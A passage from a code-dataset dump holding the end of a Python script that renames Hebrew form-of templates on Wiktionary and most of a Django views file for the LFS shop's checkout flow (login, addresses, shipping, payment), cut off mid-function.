len(repl_template) - len(curr_template)\n ratio = float(newtext_text_diff) / repl_curr_diff\n if ratio == int(ratio):\n if int(ratio) > 1:\n pagemsg(\"WARNING: Replaced %s occurrences of curr=%s with repl=%s\"\n % (int(ratio), curr_template, repl_template))\n else:\n pagemsg(\"WARNING: Something wrong, length mismatch during replacement: Expected length change=%s, actual=%s, ratio=%.2f, curr=%s, repl=%s\"\n % (repl_curr_diff, newtext_text_diff, ratio, curr_template,\n repl_template))\n text = newtext\n notes.append(\"move .= outside of {{he-*}} template\")\n\n if rename:\n parsed = blib.parse_text(text)\n for t in parsed.filter_templates():\n origt = str(t)\n tn = tname(t)\n if tn in all_he_form_of_template_map:\n newname, add_nocap = all_he_form_of_template_map[tn]\n add_nocap_msg = \"|nocap=1\" if add_nocap else \"\"\n newspecs = None\n if \"|\" in newname:\n newname, newspecs = newname.split(\"|\")\n blib.set_template_name(t, newname)\n # Fetch all params.\n params = []\n old_1 = getparam(t, \"1\")\n for param in t.params:\n pname = str(param.name)\n if pname.strip() in [\"1\", \"lang\", \"sc\"]:\n continue\n if pname.strip() in (\n newname == \"he-infinitive of\" and [\"3\", \"4\"] or [\"2\", \"3\", \"4\"]\n ):\n errandmsg(\"WARNING: Found %s= in %s\" % (pname.strip(), origt))\n params.append((pname, param.value, param.showkey))\n # Erase all params.\n del t.params[:]\n # Put back basic params\n t.add(\"1\", old_1)\n if newname == \"he-verb form of\":\n assert newspecs\n t.add(\"2\", newspecs)\n notes.append(\"rename {{%s}} to {{%s|{{{1}}}|%s%s}}\" %\n (tn, newname, newspecs, add_nocap_msg))\n elif newname == \"he-noun form of\" and newspecs:\n newparam, newval = newspecs.split(\"=\")\n t.add(newparam, newval)\n notes.append(\"rename {{%s}} to {{%s|{{{1}}}|%s=%s%s}}\" %\n (tn, newname, newparam, newval, add_nocap_msg))\n else:\n notes.append(\"rename {{%s}} to {{%s%s}}\" % (tn, newname, add_nocap_msg))\n # Put remaining parameters in order.\n for name, value, showkey in params:\n # More hacking for 'he-form of sing cons': p -> pp, g -> pg, n -> pn\n if newname == \"he-noun form of\" and newspecs:\n if name in [\"p\", \"g\", \"n\"]:\n name = \"p\" + name\n t.add(name, value, showkey=showkey, preserve_spacing=False)\n # Finally add nocap=1 if requested.\n if add_nocap:\n t.add(\"nocap\", \"1\")\n\n if str(t) != origt:\n pagemsg(\"Replaced <%s> with <%s>\" % (origt, str(t)))\n\n text = str(parsed)\n\n return text, notes\n\nparser = blib.create_argparser(\"Clean up {{he-*}} templates\")\nparser.add_argument('--move-dot', help=\"Move .= outside of template\",\n action=\"store_true\")\nparser.add_argument('--rename', help=\"Rename templates\",\n action=\"store_true\")\nargs = parser.parse_args()\nstart, end = blib.parse_start_end(args.start, args.end)\n\nfor template in all_he_form_of_templates:\n for i, page in blib.references(\"Template:%s\" % template, start, end):\n blib.do_edit(page, i,\n lambda page, index, parsed:\n process_page(page, index, parsed, args.move_dot, args.rename),\n save=args.save, verbose=args.verbose\n )\n","sub_path":"clean_he_templates.py","file_name":"clean_he_templates.py","file_ext":"py","file_size_in_byte":7265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"251367444","text":"# python imports\nfrom copy import deepcopy\n\n# django imports\nfrom django.conf import settings\nfrom django.contrib.auth.forms import AuthenticationForm\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponse\nfrom django.http import HttpResponseRedirect\nfrom django.shortcuts import render_to_response\nfrom django.template.loader import render_to_string\nfrom django.template import RequestContext\nfrom django.utils import simplejson\nfrom django.utils.translation import ugettext_lazy as _\n\n# lfs imports\nimport lfs.core.utils\nfrom lfs.customer.utils import create_unique_username\nimport lfs.discounts.utils\nimport lfs.order.utils\nimport lfs.payment.settings\nimport lfs.payment.utils\nimport lfs.shipping.utils\nimport lfs.shipping.settings\nimport lfs.voucher.utils\nfrom lfs.addresses.utils import AddressManagement\nfrom lfs.cart import utils as cart_utils\nfrom lfs.checkout.forms import OnePageCheckoutForm, AddressCheckoutForm, \\\n PaymentMethodCheckoutForm \nfrom lfs.checkout.settings import CHECKOUT_TYPE_ANON\nfrom lfs.checkout.settings import CHECKOUT_TYPE_AUTH\nfrom lfs.customer import utils as customer_utils\nfrom lfs.core.models import Country\nfrom lfs.core.utils import import_symbol\nfrom lfs.customer.forms import CreditCardForm\nfrom lfs.customer.forms import BankAccountForm\nfrom lfs.customer.forms import RegisterForm\nfrom lfs.payment.models import PaymentMethod\nfrom lfs.voucher.models import Voucher\nfrom lfs.voucher.settings import MESSAGES\n\nfrom lfs.addresses.models import AddressBook\nfrom lfs.addresses.settings import ADDRESS_MODEL\nfrom lfs.shipping.forms import GroupShippingForm\nfrom lfs.shipping.utils import get_grouped_delivery_price, \\\n get_ungrouped_delivery_prices\n\ndef login(request, template_name=\"lfs/checkout/login.html\", three_step_checkout=True):\n \"\"\"Displays a form to login or register/login the user within the check out\n process.\n\n The form's post request goes to lfs.customer.views.login where all the logic\n happens - see there for more.\n \"\"\"\n # If the user is already authenticate we don't want to show this view at all\n if request.user.is_authenticated():\n if three_step_checkout:\n return HttpResponseRedirect(reverse(\"lfs_shipping_address\"))\n else:\n return HttpResponseRedirect(reverse(\"lfs_checkout\"))\n\n shop = lfs.core.utils.get_default_shop(request)\n\n # If only anonymous checkout allowed we don't want to show this view at all.\n if shop.checkout_type == CHECKOUT_TYPE_ANON:\n if three_step_checkout:\n return HttpResponseRedirect(reverse(\"lfs_shipping_address\"))\n else:\n return HttpResponseRedirect(reverse(\"lfs_checkout\"))\n\n # Using Djangos default AuthenticationForm\n login_form = AuthenticationForm()\n login_form.fields[\"username\"].label = _(u\"E-Mail\")\n register_form = RegisterForm()\n\n if request.POST.get(\"action\") == \"login\":\n login_form = AuthenticationForm(data=request.POST)\n login_form.fields[\"username\"].label = _(u\"E-Mail\")\n if login_form.is_valid():\n from django.contrib.auth import login\n login(request, login_form.get_user())\n \n if three_step_checkout:\n return lfs.core.utils.set_message_cookie(reverse(\"lfs_shipping_address\"),\n msg=_(u\"You have been logged in.\"))\n else:\n return lfs.core.utils.set_message_cookie(reverse(\"lfs_checkout\"),\n msg=_(u\"You have been logged in.\"))\n\n elif request.POST.get(\"action\") == \"register\":\n register_form = RegisterForm(data=request.POST)\n if register_form.is_valid():\n email = register_form.data.get(\"email\")\n password = register_form.data.get(\"password_1\")\n\n # Create user\n user = User.objects.create_user(\n username=create_unique_username(email), email=email, password=password)\n\n # Notify\n lfs.core.signals.customer_added.send(user)\n\n # Log in user\n from django.contrib.auth import authenticate\n user = authenticate(username=email, password=password)\n\n from django.contrib.auth import login\n login(request, user)\n \n if three_step_checkout:\n return lfs.core.utils.set_message_cookie(reverse(\"lfs_shipping_address\"),\n msg=_(u\"You have been registered and logged in.\"))\n else:\n return lfs.core.utils.set_message_cookie(reverse(\"lfs_checkout\"),\n msg=_(u\"You have been registered and logged in.\"))\n\n\n return render_to_response(template_name, RequestContext(request, {\n \"login_form\": login_form,\n \"register_form\": register_form,\n \"anonymous_checkout\": shop.checkout_type != CHECKOUT_TYPE_AUTH,\n }))\n\ndef checkout_dispatcher(request, three_step_checkout=True):\n \"\"\"Dispatcher to display the correct checkout form\n \"\"\"\n shop = lfs.core.utils.get_default_shop(request)\n cart = cart_utils.get_cart(request)\n\n if cart is None or not cart.get_items():\n return empty_page_checkout(request)\n if request.user.is_authenticated() or \\\n shop.checkout_type == CHECKOUT_TYPE_ANON:\n if three_step_checkout:\n return HttpResponseRedirect(reverse(\"lfs_shipping_address\"))\n else:\n return HttpResponseRedirect(reverse(\"lfs_checkout\"))\n else:\n return HttpResponseRedirect(reverse(\"lfs_checkout_login\"))\n\n\n#INFO: Refactored to include grouping method\ndef cart_inline(request, template_name=\"lfs/checkout/checkout_cart_inline.html\"):\n \"\"\"Displays the cart items of the checkout page.\n\n Factored out to be reusable for the starting request (which renders the\n whole checkout page and subsequent ajax requests which refresh the\n cart items.\n \"\"\"\n cart = cart_utils.get_cart(request)\n customer = lfs.customer.utils.get_or_create_customer(request)\n\n # Shipping\n selected_shipping_method = lfs.shipping.utils.get_selected_shipping_method(request)\n shipping_costs = lfs.shipping.utils.get_shipping_costs(request, selected_shipping_method)\n\n # Payment\n selected_payment_method = lfs.payment.utils.get_selected_payment_method(request)\n payment_costs = lfs.payment.utils.get_payment_costs(request, selected_payment_method)\n\n # Grouping\n selected_grouping_method = lfs.shipping.utils.get_selected_grouping_method(request)\n\n # Cart costs\n cart_price = cart.get_price_gross(request) + shipping_costs[\"price_gross\"] + payment_costs[\"price\"]\n cart_tax = cart.get_tax(request) + shipping_costs[\"tax\"] + payment_costs[\"tax\"]\n\n discounts = lfs.discounts.utils.get_valid_discounts(request)\n for discount in discounts:\n cart_price = cart_price - discount[\"price_gross\"]\n cart_tax = cart_tax - discount[\"tax\"]\n\n # Voucher\n voucher_number = ''\n try:\n voucher_number = lfs.voucher.utils.get_current_voucher_number(request)\n voucher = Voucher.objects.get(number=voucher_number)\n except Voucher.DoesNotExist:\n display_voucher = False\n voucher_value = 0\n voucher_tax = 0\n voucher_message = MESSAGES[6]\n else:\n lfs.voucher.utils.set_current_voucher_number(request, voucher_number)\n is_voucher_effective, voucher_message = voucher.is_effective(request, cart)\n if is_voucher_effective:\n display_voucher = True\n voucher_value = voucher.get_price_gross(request, cart)\n cart_price = cart_price - voucher_value\n voucher_tax = voucher.get_tax(request, cart)\n cart_tax = cart_tax - voucher_tax\n else:\n display_voucher = False\n voucher_value = 0\n voucher_tax = 0\n\n if cart_price < 0:\n cart_price = 0\n if cart_tax < 0:\n cart_tax = 0\n\n cart_items = []\n for cart_item in cart.get_items():\n product = cart_item.product\n quantity = product.get_clean_quantity(cart_item.amount)\n cart_items.append({\n \"obj\": cart_item,\n \"quantity\": quantity,\n \"product\": product,\n \"product_price_net\": cart_item.get_price_net(request),\n \"product_price_gross\": cart_item.get_price_gross(request),\n \"product_tax\": cart_item.get_tax(request),\n })\n\n\n max_delivery_time = cart.get_delivery_time(request)\n grouped_delivery_price = get_grouped_delivery_price(request)\n prices_list = get_ungrouped_delivery_prices(request)\n\n selected_bank_account = customer.selected_bank_account\n selected_credit_card = customer.selected_credit_card\n\n return render_to_string(template_name, RequestContext(request, {\n \"cart\": cart,\n \"cart_items\": cart_items,\n \"cart_price\": cart_price,\n \"cart_tax\": cart_tax,\n \"display_voucher\": display_voucher,\n \"discounts\": discounts,\n \"voucher_value\": voucher_value,\n \"voucher_tax\": voucher_tax,\n \"shipping_costs\": shipping_costs,\n \"payment_price\": payment_costs[\"price\"],\n \"selected_shipping_method\": selected_shipping_method,\n \"selected_payment_method\": selected_payment_method,\n\n # Bank and credit info\n \"selected_credit_card\": selected_credit_card,\n \"selected_bank_account\": selected_bank_account,\n\n #grouping variables\n \"selected_grouping_method\": selected_grouping_method,\n \"max_delivery_time\": max_delivery_time,\n \"grouped_delivery_price\": grouped_delivery_price,\n \"ungrouped_delivery_prices\": prices_list,\n \"GROUPED\": lfs.shipping.settings.GROUPED,\n \"UNGROUPED\": lfs.shipping.settings.UNGROUPED,\n \"GROUPED_TITLE\": lfs.shipping.settings.GROUPED_TITLE,\n \"UNGROUPED_TITLE\": lfs.shipping.settings.UNGROUPED_TITLE,\n\n \"voucher_number\": voucher_number,\n \"voucher_message\": voucher_message,\n }))\n\n\n\ndef copy_values(addr1, addr2):\n \"\"\" Copies addr1 into addr2 and returns the\n new copy\n \"\"\"\n new_addr = deepcopy(addr1)\n new_addr.id = addr2.id\n new_addr.pk = addr2.pk\n new_addr.save()\n\n return new_addr\n\n\n# This views are added for a three step process defined by:\n# - Address step\n# - Shipping method step\n# - Payment method step\n@login_required\ndef shipping_address_checkout(request, pk=None, template_name=\"lfs/checkout/addresses.html\"):\n \"\"\"Shipping and billing address forms.\n \"\"\"\n cart = lfs.cart.utils.get_cart(request)\n if cart is None:\n return HttpResponseRedirect(reverse('lfs_cart'))\n\n shop = lfs.core.utils.get_default_shop(request)\n if request.user.is_anonymous() and shop.checkout_type == CHECKOUT_TYPE_AUTH:\n return HttpResponseRedirect(reverse(\"lfs_checkout_login\"))\n\n customer = lfs.customer.utils.get_or_create_customer(request)\n\n edit = request.GET.get(\"edit\")\n selected_address_id = request.POST.get(\"selected_address_id\")\n # If address is selected, we don't need to validate the form\n if selected_address_id:\n if hasattr(settings, \"LFS_ADDRESS_MODEL\",):\n address_model = import_symbol(settings.LFS_ADDRESS_MODEL)\n else:\n address_model = import_symbol(ADDRESS_MODEL)\n shipping_address = address_model.objects.get(pk=selected_address_id)\n\n # Copy selected address into customer selected address\n selected_address = copy_values(shipping_address, \n customer.selected_shipping_address)\n\n customer.selected_shipping_address = selected_address\n\n if not edit:\n # Copy shipping into invoice\n invoice_address = copy_values(shipping_address, \n customer.selected_invoice_address)\n\n customer.selected_invoice_address = invoice_address\n\n customer.save()\n\n next_url = request.GET.get(\"next\")\n\n if next_url:\n return HttpResponseRedirect(next_url)\n else:\n return HttpResponseRedirect(reverse(\"lfs_checkout_shipping_method\"))\n\n else:\n shipping_address = customer.selected_shipping_address\n\n # Get the new address from post\n if request.method == \"POST\":\n sam = AddressManagement(customer, shipping_address, \"shipping\", request.POST)\n if sam.is_valid():\n sam.save()\n\n # Copy shipping address into invoice address\n if not edit:\n # Copy shipping into invoice\n invoice_address = copy_values(shipping_address, \n customer.selected_invoice_address)\n\n customer.selected_invoice_address = invoice_address\n customer.save()\n\n # Always save address to book, don't save if address is\n # already in book\n if not selected_address_id:\n sam.save_to_book()\n\n next_url = request.GET.get(\"next\")\n if next_url:\n return HttpResponseRedirect(next_url)\n else:\n return HttpResponseRedirect(reverse(\"lfs_checkout_shipping_method\"))\n\n else:\n sam = AddressManagement(customer, shipping_address, \"shipping\")\n\n addresses = [a.address for a in AddressBook.objects.filter(customer=customer)]\n\n return render_to_response(template_name, RequestContext(request, {\n \"shipping_address_inline\": sam.render(request),\n \"settings\": settings,\n \"addresses\": addresses,\n \"shipping\": True,\n }))\n\n@login_required\ndef invoice_address_checkout(request, pk=None, template_name=\"lfs/checkout/addresses.html\"):\n \"\"\"Shipping and billing address forms.\n \"\"\"\n cart = lfs.cart.utils.get_cart(request)\n if cart is None:\n return HttpResponseRedirect(reverse('lfs_cart'))\n\n shop = lfs.core.utils.get_default_shop(request)\n if request.user.is_anonymous() and shop.checkout_type == CHECKOUT_TYPE_AUTH:\n return HttpResponseRedirect(reverse(\"lfs_checkout_login\"))\n\n customer = lfs.customer.utils.get_or_create_customer(request)\n\n selected_address_id = request.POST.get(\"selected_address_id\")\n # If address is selected, we don't need to validate the form\n if selected_address_id:\n if hasattr(settings, \"LFS_ADDRESS_MODEL\",):\n address_model = import_symbol(settings.LFS_ADDRESS_MODEL)\n else:\n address_model = import_symbol(ADDRESS_MODEL)\n invoice_address = address_model.objects.get(pk=selected_address_id)\n\n # Copy selected invoice into customer invoice address\n selected_address = copy_values(invoice_address, \n customer.selected_invoice_address)\n customer.selected_invoice_address = selected_address\n customer.save()\n\n next_url = request.GET.get(\"next\")\n\n if next_url:\n return HttpResponseRedirect(next_url)\n else:\n return HttpResponseRedirect(reverse(\"lfs_checkout_shipping_method\"))\n\n else:\n invoice_address = customer.selected_invoice_address\n\n # Get the new address from post\n if request.method == \"POST\":\n iam = AddressManagement(customer, invoice_address, \"invoice\", request.POST)\n if iam.is_valid():\n iam.save()\n customer.selected_invoice_address = invoice_address\n customer.save()\n\n # Always save address to book, don't save if address is\n # already in book\n if not selected_address_id:\n iam.save_to_book()\n\n next_url = request.GET.get(\"next\")\n if next_url:\n return HttpResponseRedirect(next_url)\n else:\n return HttpResponseRedirect(reverse(\"lfs_checkout_shipping_method\"))\n\n else:\n iam = AddressManagement(customer, invoice_address, \"invoice\")\n\n addresses = [a.address for a in AddressBook.objects.filter(customer=customer)]\n\n return render_to_response(template_name, RequestContext(request, {\n \"invoice_address_inline\": iam.render(request),\n \"settings\": settings,\n \"addresses\": addresses,\n \"shipping\": False,\n }))\n\n\n#@login_required\n#def addresses_checkout(request, template_name=\"lfs/checkout/addresses.html\"):\n# \"\"\"Shipping and billing address forms.\n# \"\"\"\n# cart = lfs.cart.utils.get_cart(request)\n# if cart is None:\n# return HttpResponseRedirect(reverse('lfs_cart'))\n#\n# shop = lfs.core.utils.get_default_shop(request)\n# if request.user.is_anonymous() and shop.checkout_type == CHECKOUT_TYPE_AUTH:\n# return HttpResponseRedirect(reverse(\"lfs_checkout_login\"))\n#\n# customer = lfs.customer.utils.get_or_create_customer(request)\n# invoice_address = customer.selected_invoice_address\n# shipping_address = customer.selected_shipping_address\n#\n# if request.method == \"POST\":\n# iam = AddressManagement(customer, invoice_address, \"invoice\", request.POST)\n# sam = AddressManagement(customer, shipping_address, \"shipping\", request.POST)\n# form = AddressCheckoutForm(request.POST)\n# if iam.is_valid() and sam.is_valid():\n# # Save addresses\n# iam.save()\n#\n# # If there the shipping address is not given, the invoice address\n# # is copied.\n# if request.POST.get(\"no_shipping\", \"\") == \"\":\n# sam.save()\n# else:\n# # Aqui se estan guardando 2 veces las address, hay que hacer pruebas\n# if customer.selected_shipping_address:\n# customer.selected_shipping_address.delete()\n# shipping_address = deepcopy(customer.selected_invoice_address)\n# shipping_address.id = None\n# shipping_address.pk = None\n# shipping_address.save()\n# customer.selected_shipping_address = shipping_address\n#\n# customer.save()\n# if request.POST.get('invoice-save_to_book'):\n# iam.save_to_book()\n#\n# if request.POST.get('shipping-save_to_book') and not request.POST.get(\"no_shipping\"):\n# sam.save_to_book()\n#\n# next_url = request.GET.get(\"next\")\n# if next_url:\n# return HttpResponseRedirect(next_url)\n# else:\n# return HttpResponseRedirect(reverse(\"lfs_checkout_shipping_method\"))\n#\n# else:\n# iam = AddressManagement(customer, invoice_address, \"invoice\")\n# sam = AddressManagement(customer, shipping_address, \"shipping\")\n# form = AddressCheckoutForm()\n#\n# addresses = [a.address for a in AddressBook.objects.filter(customer=customer)]\n#\n# # This template must be defined\n# # addresses_inline = render_to_string(\"lfs/checkout/addresses_inline.html\", {\n# # 'addresses': addresses,\n# # })\n#\n# return render_to_response(template_name, RequestContext(request, {\n# \"invoice_address_inline\": iam.render(request),\n# \"shipping_address_inline\": sam.render(request),\n# \"settings\": settings,\n# # \"addresses_inline\": addresses_inline,\n# \"addresses\": addresses,\n# \"form\": form,\n# }))\n\n\n@login_required\ndef shipping_method_checkout(request, template_name=\"lfs/checkout/shipping_method.html\"):\n \"\"\"Shipping method selection\n \"\"\"\n cart = lfs.cart.utils.get_cart(request)\n if cart is None:\n return HttpResponseRedirect(reverse('lfs_cart'))\n\n shop = lfs.core.utils.get_default_shop(request)\n if request.user.is_anonymous() and shop.checkout_type == CHECKOUT_TYPE_AUTH:\n return HttpResponseRedirect(reverse(\"lfs_checkout_login\"))\n\n customer = lfs.customer.utils.get_or_create_customer(request)\n\n # Checks if the items in cart are diferent, if they aren't, \n # ungrouped shipping doesn't make sense\n groups = lfs.shipping.utils.get_grouped_elements(request)\n if len(groups) > 1:\n ungroup = True\n else:\n ungroup = False\n\n if request.method == \"POST\":\n _save_customer(request, customer)\n group_shipping_form = GroupShippingForm(request.POST,\n ungroup=ungroup)\n if group_shipping_form.is_valid():\n method = int(request.POST.get(\"group_method\"))\n if method == lfs.shipping.settings.GROUPED:\n max_delivery_time = cart.get_delivery_time(request)\n elif method == lfs.shipping.settings.UNGROUPED:\n order = request.session.get(\"order\")\n\n # Adds the grouping method to the customer model.\n customer.selected_grouping_method = method\n customer.save()\n\n return HttpResponseRedirect(reverse(\"lfs_checkout_payment_method\"))\n else:\n group_shipping_form = GroupShippingForm(ungroup=ungroup)\n\n # Grouped variables\n grouped_delivery_price = get_grouped_delivery_price(request)\n max_delivery_time = cart.get_delivery_time(request)\n\n # Ungrouped variables\n prices_list = get_ungrouped_delivery_prices(request)\n price_net = cart.get_price_net(request)\n price_gross = cart.get_price_gross(request)\n\n response = render_to_response(template_name, RequestContext(request, {\n \"shipping_inline\": shipping_inline(request),\n \"group_shipping_form\": group_shipping_form,\n \"max_delivery_time\": max_delivery_time,\n \"grouped_delivery_price\": grouped_delivery_price,\n \"ungrouped_delivery_prices\": prices_list,\n \"GROUPED\": lfs.shipping.settings.GROUPED,\n \"UNGROUPED\": lfs.shipping.settings.UNGROUPED,\n \"cart_price_without_taxes\": price_net,\n \"cart_price_with_taxes\": price_gross,\n \"total_price\": price_gross + grouped_delivery_price,\n }))\n\n return response\n\n@login_required\ndef payment_method_checkout(request, template_name=\"lfs/checkout/payment_method.html\"):\n \"\"\"Payment method and checkout\n \"\"\"\n cart = lfs.cart.utils.get_cart(request)\n if cart is None:\n return HttpResponseRedirect(reverse('lfs_cart'))\n\n shop = lfs.core.utils.get_default_shop(request)\n if request.user.is_anonymous() and shop.checkout_type == CHECKOUT_TYPE_AUTH:\n return HttpResponseRedirect(reverse(\"lfs_checkout_login\"))\n\n customer = lfs.customer.utils.get_or_create_customer(request)\n bank_account = customer.selected_bank_account\n credit_card = customer.selected_credit_card\n\n if request.method == \"POST\":\n checkout_form = PaymentMethodCheckoutForm(data=request.POST)\n bank_account_form = BankAccountForm(instance=bank_account, data=request.POST)\n credit_card_form = CreditCardForm(instance=credit_card, data=request.POST)\n\n # Save payment method\n customer.selected_payment_method_id = request.POST.get(\"payment_method\")\n\n # Save bank account\n try: \n payment_method = PaymentMethod.objects.get(id=customer.selected_payment_method_id)\n except PaymentMethod.DoesNotExist:\n payment_method = None\n else:\n if payment_method and payment_method.type == lfs.payment.settings.PM_BANK:\n if bank_account_form.is_valid():\n if customer.selected_credit_card:\n customer.selected_credit_card = None\n customer.selected_bank_account = bank_account_form.save()\n customer.save()\n next_url = request.GET.get(\"next\")\n if next_url:\n return HttpResponseRedirect(next_url)\n else:\n return HttpResponseRedirect(reverse(\"lfs_checkout_confirm\"))\n\n # Save credit card\n if payment_method and payment_method.type == lfs.payment.settings.PM_CREDIT_CARD:\n if credit_card_form.is_valid():\n if customer.selected_bank_account:\n customer.selected_bank_account = None\n customer.selected_credit_card = credit_card_form.save()\n customer.save()\n\n next_url = request.GET.get(\"next\")\n if next_url:\n return HttpResponseRedirect(next_url)\n else:\n return HttpResponseRedirect(reverse(\"lfs_checkout_confirm\"))\n\n # process the payment method\n #result = lfs.payment.utils.process_payment(request)\n\n #if result[\"accepted\"]:\n # import ipdb; ipdb.set_trace()\n # return HttpResponseRedirect(result.get(\"next_url\", reverse(\"lfs_checkout_confirm\")))\n #else:\n # if \"message\" in result:\n # checkout_form._errors[result.get(\"message_location\")] = result.get(\"message\")\n\n# else: # form is not valid\n#\n# # Payment method\n# customer.selected_payment_method_id = request.POST.get(\"payment_method\")\n#\n# # 1 = Direct Debit\n# if customer.selected_payment_method_id:\n# if int(customer.selected_payment_method_id) == DIRECT_DEBIT:\n# bank_account = BankAccount.objects.create(\n# account_number=form.data.get(\"account_number\"),\n# bank_identification_code=form.data.get(\"bank_identification_code\"),\n# bank_name=form.data.get(\"bank_name\"),\n# depositor=form.data.get(\"depositor\"),\n# )\n#\n# customer.selected_bank_account = bank_account\n#\n# # Save the selected information to the customer\n# customer.save()\n\n else:\n checkout_form = PaymentMethodCheckoutForm()\n bank_account_form = BankAccountForm(instance=bank_account)\n credit_card_form = CreditCardForm(instance=credit_card)\n \n # Payment\n try:\n selected_payment_method_id = request.POST.get(\"payment_method\")\n selected_payment_method = PaymentMethod.objects.get(pk=selected_payment_method_id)\n except PaymentMethod.DoesNotExist:\n selected_payment_method = lfs.payment.utils.get_selected_payment_method(request)\n\n #valid_payment_methods = lfs.payment.utils.get_valid_payment_methods(request)\n #display_bank_account = any([pm.type == lfs.payment.settings.PM_BANK for pm in valid_payment_methods])\n #display_credit_card = any([pm.type == lfs.payment.settings.PM_CREDIT_CARD for pm in valid_payment_methods])\n\n return render_to_response(template_name, RequestContext(request, {\n \"checkout_form\": checkout_form,\n# \"bank_account_form\": bank_account_form,\n# \"credit_card_form\": credit_card_form,\n \"payment_inline\": payment_inline(request, bank_account_form, credit_card_form),\n \"selected_payment_method\": selected_payment_method,\n# \"display_bank_account\": display_bank_account,\n# \"display_credit_card\": display_credit_card,\n \"voucher_number\": lfs.voucher.utils.get_current_voucher_number(request),\n# \"cart_inline\": cart_inline(request),\n \"settings\": settings,\n }))\n\n@login_required\ndef checkout_confirm(request, template_name=\"lfs/checkout/checkout_confirm.html\"):\n if request.GET.get(\"checkout\"):\n\n result = lfs.payment.utils.process_payment(request)\n\n if result[\"accepted\"]:\n return HttpResponseRedirect(result.get(\"next_url\", reverse(\"lfs_checkout_confirm\")))\n else:\n if \"message\" in result:\n checkout_form._errors[result.get(\"message_location\")] = result.get(\"message\")\n\n return render_to_response(template_name, RequestContext(request, {\n \"cart_inline\": cart_inline(request),\n }))\n\n\n\ndef one_page_checkout(request, template_name=\"lfs/checkout/one_page_checkout.html\"):\n \"\"\"\n One page checkout form.\n \"\"\"\n cart = lfs.cart.utils.get_cart(request)\n if cart is None:\n return HttpResponseRedirect(reverse('lfs_cart'))\n\n shop = lfs.core.utils.get_default_shop(request)\n if request.user.is_anonymous() and shop.checkout_type == CHECKOUT_TYPE_AUTH:\n return HttpResponseRedirect(reverse(\"lfs_checkout_login\"))\n\n customer = lfs.customer.utils.get_or_create_customer(request)\n invoice_address = customer.selected_invoice_address\n shipping_address = customer.selected_shipping_address\n bank_account = customer.selected_bank_account\n credit_card = customer.selected_credit_card\n\n if request.method == \"POST\":\n checkout_form = OnePageCheckoutForm(data=request.POST)\n iam = AddressManagement(customer, invoice_address, \"invoice\", request.POST)\n sam = AddressManagement(customer, shipping_address, \"shipping\", request.POST)\n bank_account_form = BankAccountForm(instance=bank_account, data=request.POST)\n credit_card_form = CreditCardForm(instance=credit_card, data=request.POST)\n\n if shop.confirm_toc and (\"confirm_toc\" not in request.POST):\n toc = False\n if checkout_form.errors is None:\n checkout_form.errors = {}\n checkout_form.errors[\"confirm_toc\"] = _(u\"Please confirm our terms and conditions\")\n else:\n toc = True\n\n if checkout_form.is_valid() and bank_account_form.is_valid() and iam.is_valid() and sam.is_valid() and toc:\n # Save addresses\n iam.save()\n\n # If there the shipping address is not given, the invoice address\n # is copied.\n if request.POST.get(\"no_shipping\", \"\") == \"\":\n sam.save()\n else:\n if customer.selected_shipping_address:\n customer.selected_shipping_address.delete()\n shipping_address = deepcopy(customer.selected_invoice_address)\n shipping_address.id = None\n shipping_address.pk = None\n shipping_address.save()\n customer.selected_shipping_address = shipping_address\n\n # Save payment method\n customer.selected_payment_method_id = request.POST.get(\"payment_method\")\n\n # Save bank account\n if customer.selected_payment_method_id and \\\n int(customer.selected_payment_method_id) == lfs.payment.settings.PM_BANK:\n customer.selected_bank_account = bank_account_form.save()\n\n # Save credit card\n if customer.selected_payment_method_id and \\\n int(customer.selected_payment_method_id) == lfs.payment.settings.PM_CREDIT_CARD:\n customer.selected_credit_card = credit_card_form.save()\n\n customer.save()\n\n # process the payment method\n result = lfs.payment.utils.process_payment(request)\n\n if result[\"accepted\"]:\n return HttpResponseRedirect(result.get(\"next_url\", reverse(\"lfs_thank_you\")))\n else:\n if \"message\" in result:\n checkout_form._errors[result.get(\"message_location\")] = result.get(\"message\")\n\n else:\n checkout_form = OnePageCheckoutForm()\n iam = AddressManagement(customer, invoice_address, \"invoice\")\n sam = AddressManagement(customer, shipping_address, \"shipping\")\n bank_account_form = BankAccountForm(instance=bank_account)\n credit_card_form = CreditCardForm(instance=credit_card)\n\n # Payment\n try:\n selected_payment_method_id = request.POST.get(\"payment_method\")\n selected_payment_method = PaymentMethod.objects.get(pk=selected_payment_method_id)\n except PaymentMethod.DoesNotExist:\n selected_payment_method = lfs.payment.utils.get_selected_payment_method(request)\n\n valid_payment_methods = lfs.payment.utils.get_valid_payment_methods(request)\n display_bank_account = any([pm.type == lfs.payment.settings.PM_BANK for pm in valid_payment_methods])\n display_credit_card = any([pm.type == lfs.payment.settings.PM_CREDIT_CARD for pm in valid_payment_methods])\n\n return render_to_response(template_name, RequestContext(request, {\n \"checkout_form\": checkout_form,\n \"bank_account_form\": bank_account_form,\n \"credit_card_form\": credit_card_form,\n \"invoice_address_inline\": iam.render(request),\n \"shipping_address_inline\": sam.render(request),\n \"shipping_inline\": shipping_inline(request),\n \"payment_inline\": payment_inline(request, bank_account_form),\n \"selected_payment_method\": selected_payment_method,\n \"display_bank_account\": display_bank_account,\n \"display_credit_card\": display_credit_card,\n \"voucher_number\": lfs.voucher.utils.get_current_voucher_number(request),\n \"cart_inline\": cart_inline(request),\n \"settings\": settings,\n }))\n\n\ndef empty_page_checkout(request, template_name=\"lfs/checkout/empty_page_checkout.html\"):\n \"\"\"\n \"\"\"\n return render_to_response(template_name, RequestContext(request, {\n \"shopping_url\": reverse(\"lfs_shop_view\"),\n }))\n\n\ndef thank_you(request, template_name=\"lfs/checkout/thank_you_page.html\"):\n \"\"\"Displays a thank you page ot the customer\n \"\"\"\n order = request.session.get(\"order\")\n pay_link = order.get_pay_link(request) if order else None\n return render_to_response(template_name, RequestContext(request, {\n \"order\": order,\n \"pay_link\": pay_link,\n }))\n\n\ndef payment_inline(request, bank_account_form, credit_card_form=None, template_name=\"lfs/checkout/payment_inline.html\"):\n \"\"\"Displays the selectable payment methods of the checkout page.\n\n Factored out to be reusable for the starting request (which renders the\n whole checkout page and subsequent ajax requests which refresh the\n selectable payment methods.\n\n Passing the form to be able to display payment forms within the several\n payment methods, e.g. credit card form.\n \"\"\"\n selected_payment_method = lfs.payment.utils.get_selected_payment_method(request)\n valid_payment_methods = lfs.payment.utils.get_valid_payment_methods(request)\n\n #display_bank_account = any([pm.type == 